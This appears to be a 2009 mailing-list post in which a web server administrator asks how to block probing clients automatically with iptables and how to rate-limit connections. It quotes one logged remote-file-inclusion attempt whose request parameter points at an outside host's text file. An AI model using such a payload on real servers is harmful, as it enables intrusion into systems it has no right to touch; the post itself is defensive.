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blocking ips with iptables accessing invalid URL



Hi all,
I´m having a problem with an Apache web server.

I get a lot of access ot this kind:


x.x.x.x - - [08/Jul/2009:09:42:20 +0200] "GET
//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://aboutav.com//id1.txt???
HTTP/1.1" 404 1015 "-" "Mozilla/5.0"

where x.x.x.x is the ip of the client, I suposse this ip is trying to find a
security hole in my system, so what I do manually is this:

iptables -A INPUT -s x.x.x.x -p tcp -m tcp --dport 80 -j DROP

I want to do this automatically. I´m thinking to use logwatch but I´m not
sure how to do it. (I´m testing but for the moment I haven´t found the
solution)

anybody knows another way to do what I want?

By the way, I´m interesting to limit the connections to my webserver using
iptables with limit module and busrt argument. What do you think about it?
is a good solution or I´m on the wrong way? Do you know how to prevent DOS
attacks?

Thanks in advance

ESG


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